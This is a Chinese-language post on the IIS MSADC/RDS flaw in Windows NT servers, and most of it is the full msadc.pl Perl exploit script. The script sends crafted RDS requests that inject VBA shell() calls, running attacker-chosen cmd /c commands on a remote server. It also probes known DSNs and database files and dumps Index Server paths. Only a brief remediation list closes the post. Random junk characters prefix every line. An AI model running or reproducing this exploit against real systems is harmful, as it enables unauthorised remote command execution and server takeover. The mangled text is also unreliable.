IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ppxu\a p&7>G-. 涉及程序:
wXP1tM8T Microsoft NT server
vR -/c %!@Dop/< 描述:
`'~|DG}a 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
rl4-nA a 3HS!/ 详细:
Fw|5A"9'a' 如果你没有时间读详细内容的话,就删除:
R
+k\)_F c:\Program Files\Common Files\System\Msadc\msadcs.dll
E0YXgQa 有关的安全问题就没有了。
Tsa&R:SE RxqXGM`4 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
1iUy*p65: VB Ce=< 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
9 eP @} C6 关于利用ODBC远程漏洞的描述,请参看:
%f@]- GDk/85cv0$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2D
"mq~V [;c#LJ/y 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
-IPc;`< http://www.microsoft.com/security/bulletins/MS99-025faq.asp J=()
A+ x.'O_7c0: 这里不再论述。
P", 53R+" =!7yX;| 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Fd2zvi IKpNc+;p /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,#<"VU2 bC 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
F$)Ki(mq {W@Y4Qqq 55Jk "V#8 #将下面这段保存为txt文件,然后: "perl -x 文件名"
tvI~?\Ylj zp d4uto5 #!perl
m|'TPy #
U:ZklDW # MSADC/RDS 'usage' (aka exploit) script
R:11w#m7w #
N1_nBQF ) # by rain.forest.puppy
HZR~r:_
i #
>hHn{3y # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
w+PbT6; # beta test and find errors!
!
XA07O[@ o <sX6a9e use Socket; use Getopt::Std;
V"gnG](2l getopts("e:vd:h:XR", \%args);
u"tv6Qp [&6l=a print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
U1dz:OG> FD[*mCGZ if (!defined $args{h} && !defined $args{R}) {
!qT.D:!@zF print qq~
4u A;--j Usage: msadc.pl -h <host> { -d <delay> -X -v }
IeE+h-3p -h <host> = host you want to scan (ip or domain)
A:>G: X5t -d <seconds> = delay between calls, default 1 second
A\gj\&B0" -X = dump Index Server path table, if available
^KmyB6Yg -v = verbose
om|M=/^ -e = external dictionary file for step 5
R/U"]Rc zS]Yd9;X1 Or a -R will resume a command session
3Cq17A 9 "@DCQ ~; exit;}
}Z"<KF Ust>%~< $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
oljl&tuQy if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
FX 0^I 0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
vV,H@WK if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Xfk&{zO-j $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5Tkh6 s if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
-7>vh|3 &$|k<{j[<f if (!defined $args{R}){ $ret = &has_msadc;
f?[IwA` die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
lhKd<Y" =k'3rm*ld print "Please type the NT commandline you want to run (cmd /c assumed):\n"
K'7i$bl% . "cmd /c ";
3T%WfS+ $in=<STDIN>; chomp $in;
j8YMod= $command="cmd /c " . $in ;
JEGcZeq) iE0A-;:5 if (defined $args{R}) {&load; exit;}
?&j[Rj0pH 52,p CyU print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ts
aD5B &try_btcustmr;
}2-{4JIq} 8S&` print "\nStep 2: Trying to make our own DSN...";
IX,/ZOZ| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
|U>BXX P T1LtO O print "\nStep 3: Trying known DSNs...";
[89#8|+ &known_dsn;
1)X%n)2pr m&EwX ^1- print "\nStep 4: Trying known .mdbs...";
pg ;agtI &known_mdb;
p3 qlVE |JtdCP{ if (defined $args{e}){
oOnk,U print "\nStep 5: Trying dictionary of DSN names...";
H*?U@>UU &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3W5|Y@0 rc<^6HqD print "Sorry Charley...maybe next time?\n";
1.4]T, ` exit;
Ky[/7S5E jxm.x[1ki^ ##############################################################################
Nc,"wA TwqyQ49 sub sendraw { # ripped and modded from whisker
D\jRF-z sleep($delay); # it's a DoS on the server! At least on mine...
z;xp1t@ my ($pstr)=@_;
G29PdmY$< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
u`xmF/jhQ die("Socket problems\n");
hbD@B.PD if(connect(S,pack "SnA4x8",2,80,$target)){
|K YON Q select(S); $|=1;
Ks(+['*S print $pstr; my @in=<S>;
fILINW{Yk) select(STDOUT); close(S);
2G=Bav\n+ return @in;
/QZnN?k } else { die("Can't connect...\n"); }}
MS)# S& ?Lbwo<E ##############################################################################
3J7TWOJVw rW0# 6 sub make_header { # make the HTTP request
z | Hl*T my $msadc=<<EOT
gLa#y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
q.yS j User-Agent: ACTIVEDATA
Py^F},?J Host: $ip
y)X;g:w Content-Length: $clen
gYn1-/Z>I Connection: Keep-Alive
mL?9AxO s4<[f%^ ADCClientVersion:01.06
bae .?+0[ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
r /63 ZSuUmCm --!ADM!ROX!YOUR!WORLD!
2
:u4~E3 Content-Type: application/x-varg
zW,m3~XX: Content-Length: $reqlen
^o+2:G5z} \bw71( Q EOT
|\TOSaZ ; $msadc=~s/\n/\r\n/g;
%<6oKE return $msadc;}
GNS5v-"H G(~d1%( ##############################################################################
-==@7*x!Z LY'_U0y4 sub make_req { # make the RDS request
~aQ>DpSEf my ($switch, $p1, $p2)=@_;
uc<XdFcu my $req=""; my $t1, $t2, $query, $dsn;
Q^$IlzG7i QU|{(c if ($switch==1){ # this is the btcustmr.mdb query
$v#Q'?jE $query="Select * from Customers where City=" . make_shell();
PX65Z|~>_ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
I&l 1b> $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
L MC-1 5V!L~# elsif ($switch==2){ # this is general make table query
O+%Y1=S[WQ $query="create table AZZ (B int, C varchar(10))";
m3C&QdjRp $dsn="$p1";}
'C)^hj. <?kr"[cQeP elsif ($switch==3){ # this is general exploit table query
zhY VMQ $query="select * from AZZ where C=" . make_shell();
QDYS}{A:V $dsn="$p1";}
!f-mC,d UeV2`zIg` elsif ($switch==4){ # attempt to hork file info from index server
JM!rop^ $query="select path from scope()";
rVowHP $dsn="Provider=MSIDXS;";}
*>ju1f XL c&7 elsif ($switch==5){ # bad query
rVd (H $query="select";
yx"xbCc# $dsn="$p1";}
wUHuykF A(X~pP&oF $t1= make_unicode($query);
?6+GE_VZ $t2= make_unicode($dsn);
wvvMesX<L $req = "\x02\x00\x03\x00";
xfCq;?MupW $req.= "\x08\x00" . pack ("S1", length($t1));
S1(. AI~ $req.= "\x00\x00" . $t1 ;
7GY[l3arxv $req.= "\x08\x00" . pack ("S1", length($t2));
85Zy0l $req.= "\x00\x00" . $t2 ;
p/>}{Q )Y $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
V9z/yNo return $req;}
CT+pkNC ^$f}s,09 ##############################################################################
a97A{7I& 6DqV1' sub make_shell { # this makes the shell() statement
|V bF&*v` return "'|shell(\"$command\")|'";}
NlXHOUw)u *L7 ZyERs ##############################################################################
zm4Okg)w@ Rd|};- sub make_unicode { # quick little function to convert to unicode
h~{TCK+I my ($in)=@_; my $out;
TV\21 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
,2q LiE> return $out;}
+:pjQ1LsJ ;V`e%9. ##############################################################################
r7o63] m-S4"!bl sub rdo_success { # checks for RDO return success (this is kludge)
Q4\EI=4P] my (@in) = @_; my $base=content_start(@in);
Z12-Vps if($in[$base]=~/multipart\/mixed/){
YA9Xe+g return 1 if( $in[$base+10]=~/^\x09\x00/ );}
jR`q y< return 0;}
pt<!b0G z[Xs=S!]I ##############################################################################
+F$c_
\> ysm)B?+k sub make_dsn { # this makes a DSN for us
S"0<`{Gv my @drives=("c","d","e","f");
,0O9!^ print "\nMaking DSN: ";
Cfqgu;m foreach $drive (@drives) {
F+
qRC_C>O print "$drive: ";
'MH WNPG0 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
f(!:_!m* "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
XoEiW R . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
aF1i!Z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
d6,SZ*AE return 0 if $2 eq "404"; # not found/doesn't exist
INqD(EG if($2 eq "200") {
Z~)Bh~^A foreach $line (@results) {
^[6eo8Ck> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
- ` F#MN } return 0;}
dlkxA^ Bc3(xI'>J ##############################################################################
U;f~ Q6iu a[d6@! sub verify_exists {
9nF;$HB my ($page)=@_;
cnJ(Fv_F$ my @results=sendraw("GET $page HTTP/1.0\n\n");
s<,[xkMB return $results[0];}
+I1>;
{{ YLs%u=e($ ##############################################################################
@H[)U/. s8;/'?K sub try_btcustmr {
w/+e my @drives=("c","d","e","f");
\`3YE~7J/ my @dirs=("winnt","winnt35","winnt351","win","windows");
/NRdBN '|
(#^jAj foreach $dir (@dirs) {
B^Y AKbY print "$dir -> "; # fun status so you can see progress
^1y (N>W foreach $drive (@drives) {
? t<yk(q print "$drive: "; # ditto
g2Pa-}{ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
^W!w~g+ $reqlenlen=length( "$reqlen" );
]M%kt +u! $clen= 206 + $reqlenlen + $reqlen;
/4x3dwXW@ AA$+ayzx9{ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_Q&O#f if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
z+IHt( else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
vX|i5P0)8 nO-1^HUl ##############################################################################
EG=~0j ~ 5-rG 8 sub odbc_error {
F?"#1je my (@in)=@_; my $base;
hH Kd+QpI my $base = content_start(@in);
?+6w8j%\ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
)Pr*\<Cld $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Gp*U2LB $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
G.Z4h/1< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/;P* ? return $in[$base+4].$in[$base+5].$in[$base+6];}
;&="aD print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$'m&RzZ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w.v yEU^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
4-ijuqjN 7,vvL8\NHu ##############################################################################
$:&?!>H N0U6N< w sub verbose {
^)-* Ubzz my ($in)=@_;
/m#!<t7 return if !$verbose;
[+7 Nu print STDOUT "\n$in\n";}
ruqx#]- /eFudMl ##############################################################################
y9<]F6TT NR98I7 sub save {
bD*z"e my ($p1, $p2, $p3, $p4)=@_;
a-nf5w>&q open(OUT, ">rds.save") || print "Problem saving parameters...\n";
gD$bn= print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
s+mNr3 close OUT;}
e[5=?p@|
~lg1S ##############################################################################
3RYg-$NK[ BNA` Cc1VV sub load {
ykq9]Xqhv my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z
xe6M~+ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Glz yFj @p=<IN>; close(IN);
l;u_4`1H $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
UXU!sd $target= inet_aton($ip) || die("inet_aton problems");
W.nQYH print "Resuming to $ip ...";
<W$Ig@4[.d $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]J`yh$a if($p[1]==1) {
V%kZ-P* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
x{=@~c%eh $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
l8O12 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
hU3z4|~+ if (rdo_success(@results)){print "Success!\n";}
kaKV{;UM else { print "failed\n"; verbose(odbc_error(@results));}}
*qh$,mp> elsif ($p[1]==3){
^F}HWpF_ if(run_query("$p[3]")){
(C1@f!Z print "Success!\n";} else { print "failed\n"; }}
u0&
aw elsif ($p[1]==4){
T[$! ^WT if(run_query($drvst . "$p[3]")){
HizMjJ| print "Success!\n"; } else { print "failed\n"; }}
47(/K2 exit;}
gWqO5C~h ]7#@lL;'0 ##############################################################################
;t^8lC?>V
*jAw sub create_table {
NrC(.*?m my ($in)=@_;
fJjtrvNy) $reqlen=length( make_req(2,$in,"") ) - 28;
83^|a5 $reqlenlen=length( "$reqlen" );
!i"Z $clen= 206 + $reqlenlen + $reqlen;
Glt%%TJb my @results=sendraw(make_header() . make_req(2,$in,""));
&s]wf return 1 if rdo_success(@results);
o*d+W7l my $temp= odbc_error(@results); verbose($temp);
U}r^M(
s! return 1 if $temp=~/Table 'AZZ' already exists/;
6f$h1$$)^ return 0;}
Y<A593 5)}3C_pmW ##############################################################################
S6J7^'h c5 jd
q[0 sub known_dsn {
ZO`{t1 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
btQDG my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!3E
%u$-} "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
@R!f(\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
2N,<~L`FX' 3,7SGt
r foreach $dSn (@dsns) {
3I rmDT print ".";
E0g`
xf6c next if (!is_access("DSN=$dSn"));
'h?;i2[ if(create_table("DSN=$dSn")){
)^G&p[G print "$dSn successful\n";
,+iREh; if(run_query("DSN=$dSn")){
) \iOwA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
I 0/enL print "Something's borked. Use verbose next time\n";}}} print "\n";}
3EM=6\#q "zT#*>U ##############################################################################
(x.O]8GKP M.h)]S> sub is_access {
p6qza @ my ($in)=@_;
(#4 $reqlen=length( make_req(5,$in,"") ) - 28;
>bKN$,Qen $reqlenlen=length( "$reqlen" );
{"cS:u $clen= 206 + $reqlenlen + $reqlen;
8veYs` my @results=sendraw(make_header() . make_req(5,$in,""));
Anpx%NVo my $temp= odbc_error(@results);
[Rqv49n*V verbose($temp); return 1 if ($temp=~/Microsoft Access/);
r%*UU4xvB return 0;}
~"<AYJlO ;au-NY ##############################################################################
SiD [54OM sT. :"Pj$ sub run_query {
t+R8{9L- my ($in)=@_;
y~&R(x~w $reqlen=length( make_req(3,$in,"") ) - 28;
_x.!,
g{ $reqlenlen=length( "$reqlen" );
M_o<6C $clen= 206 + $reqlenlen + $reqlen;
L_>j
SP my @results=sendraw(make_header() . make_req(3,$in,""));
1gq(s2izy return 1 if rdo_success(@results);
EF7Y 4lp my $temp= odbc_error(@results); verbose($temp);
De^GWO.?bT return 0;}
ZDmBuf
q !'4HUB>+ ##############################################################################
}CR@XD}[ ?a8 o.&`l sub known_mdb {
c,$ >u,4 my @drives=("c","d","e","f","g");
@"`J~uK my @dirs=("winnt","winnt35","winnt351","win","windows");
BE54^U my $dir, $drive, $mdb;
$6BD6\@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"V|1w>s =Q % F~ # this is sparse, because I don't know of many
Ms^U`P^V~P my @sysmdbs=( "\\catroot\\icatalog.mdb",
<2cl1Fb "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
8 |2QJ "\\system32\\certmdb.mdb",
Iz'*^{Ssm "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
S7tc -}l iG my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
83"Vh$& "\\cfusion\\cfapps\\forums\\forums_.mdb",
)qGw!^8 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
vT*z3 "\\cfusion\\cfapps\\security\\realm_.mdb",
[B}$U|V0 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:G&tM
"\\cfusion\\database\\cfexamples.mdb",
uG1)cm
B} "\\cfusion\\database\\cfsnippets.mdb",
/{eD##vhP "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Pt/dH+r`% "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
S>W_p~@ "\\cfusion\\brighttiger\\database\\cleam.mdb",
Fdgu=qMm "\\cfusion\\database\\smpolicy.mdb",
%3L4&W_T "\\cfusion\\database\cypress.mdb",
b'
1%g}
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
HZp}<7NR(7 "\\website\\cgi-win\\dbsample.mdb",
W^}fAcQKH "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
0dv# [ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
7Eoa~ ); #these are just
N5>ioJj foreach $drive (@drives) {
5PY,}1` foreach $dir (@dirs){
#0K122oY foreach $mdb (@sysmdbs) {
D4e*Wwk print ".";
]a4rA+NFLB if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-O.q$D=as print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
p^QEk~qw if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
+Y7"!wYR> print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
*v+xKy#M } else { print "Something's borked. Use verbose next time\n"; }}}}}
tI2V)i! #t.)4$ foreach $drive (@drives) {
~>h_#sIBC foreach $mdb (@mdbs) {
"bI'XaSv print ".";
B@P +b*% if(create_table($drv . $drive . $dir . $mdb)){
OEz'&))J print "\n" . $drive . $dir . $mdb . " successful\n";
G}!dm0s$ if(run_query($drv . $drive . $dir . $mdb)){
V)[ta`9 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]njObU)[zr } else { print "Something's borked. Use verbose next time\n"; }}}}
T$ <l<.Qd }
tOn 6 ~s#vP<QHa ##############################################################################
:bJT2o[ 1C,=1bY sub hork_idx {
i98>=y~ print "\nAttempting to dump Index Server tables...\n";
/oA=6N#j print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
M4MO)MYJ $reqlen=length( make_req(4,"","") ) - 28;
$
{Y?jJ $reqlenlen=length( "$reqlen" );
[sx J< $clen= 206 + $reqlenlen + $reqlen;
L'=mDb my @results=sendraw2(make_header() . make_req(4,"",""));
{s ]yP_ if (rdo_success(@results)){
A1VbqA my $max=@results; my $c; my %d;
"eqN d"~ for($c=19; $c<$max; $c++){
"pQFIV, $results[$c]=~s/\x00//g;
[^oTC; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
:Q~Rb<']{x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
u"WqI[IV $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
QqpXUyHp[ $d{"$1$2"}="";}
$K_G|Wyi foreach $c (keys %d){ print "$c\n"; }
^0 zWiX } else {print "Index server doesn't seem to be installed.\n"; }}
eouxNw}F1 N*Is_V\R ##############################################################################
<oFZFlY@ R^[b
I; sub dsn_dict {
d7g3VF<j open(IN, "<$args{e}") || die("Can't open external dictionary\n");
NeG$;z7 while(<IN>){
;nzzt~aCC $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Sbf+;:D next if (!is_access("DSN=$dSn"));
%Z:07|57I[ if(create_table("DSN=$dSn")){
OrN~ Y#D print "$dSn successful\n";
u 2)#Ml if(run_query("DSN=$dSn")){
m%?+;V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
A.f!SYV6 print "Something's borked. Use verbose next time\n";}}}
|.asg print "\n"; close(IN);}
Ub>Pl,~' E~[v.3` ##############################################################################
pn5A6
# bcVzl]9 sub sendraw2 { # ripped and modded from whisker
P~6QRm sleep($delay); # it's a DoS on the server! At least on mine...
F<W`zQ46 my ($pstr)=@_;
`W&:* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GjHV|)^ die("Socket problems\n");
ZxvqLu if(connect(S,pack "SnA4x8",2,80,$target)){
fo$5WTY print "Connected. Getting data";
y2_^lW% open(OUT,">raw.out"); my @in;
+{eZ@ select(S); $|=1; print $pstr;
4`KQ@m while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<'Ppu close(OUT); select(STDOUT); close(S); return @in;
,JLY
oE+ } else { die("Can't connect...\n"); }}
@i" ^b TB oN8cB} ##############################################################################
o ?9k{ &,4 3&pFU sub content_start { # this will take in the server headers
JGLjx"Y my (@in)=@_; my $c;
2r0u[ for ($c=1;$c<500;$c++) {
h2Kx if($in[$c] =~/^\x0d\x0a/){
#]g9O ?0$ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Boi?Bt else { return $c+1; }}}
+nLsiC{& return -1;} # it should never get here actually
\v*WI)] o3s ME2 ##############################################################################
Vk3xWD~ 0EA<ip sub funky {
=P,h5J my (@in)=@_; my $error=odbc_error(@in);
!yfQ^a_O if($error=~/ADO could not find the specified provider/){
;Wo\MN print "\nServer returned an ADO miscofiguration message\nAborting.\n";
BLno/JK0} exit;}
7yp}*b{s if($error=~/A Handler is required/){
Q\!0V@$ print "\nServer has custom handler filters (they most likely are patched)\n";
ME9jN{ le exit;}
SLj2/B0 if($error=~/specified Handler has denied Access/){
G"xa"hGF print "\nServer has custom handler filters (they most likely are patched)\n";
dHAI4Yf4U exit;}}
Em(&cra xe=/T#% ##############################################################################
C}7c:4c H*h 7Y*([ sub has_msadc {
xDJs0P4 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0Ud.u my $base=content_start(@results);
<c X\|dM return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Z^fkv return 0;}
9q4%s?)j pyf/%9R:d ########################
4ox[, Kt 0
3F$ M?3Nh; 解决方案:
'f?=ks< 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
7e`ylnP! 2、移除web 目录: /msadc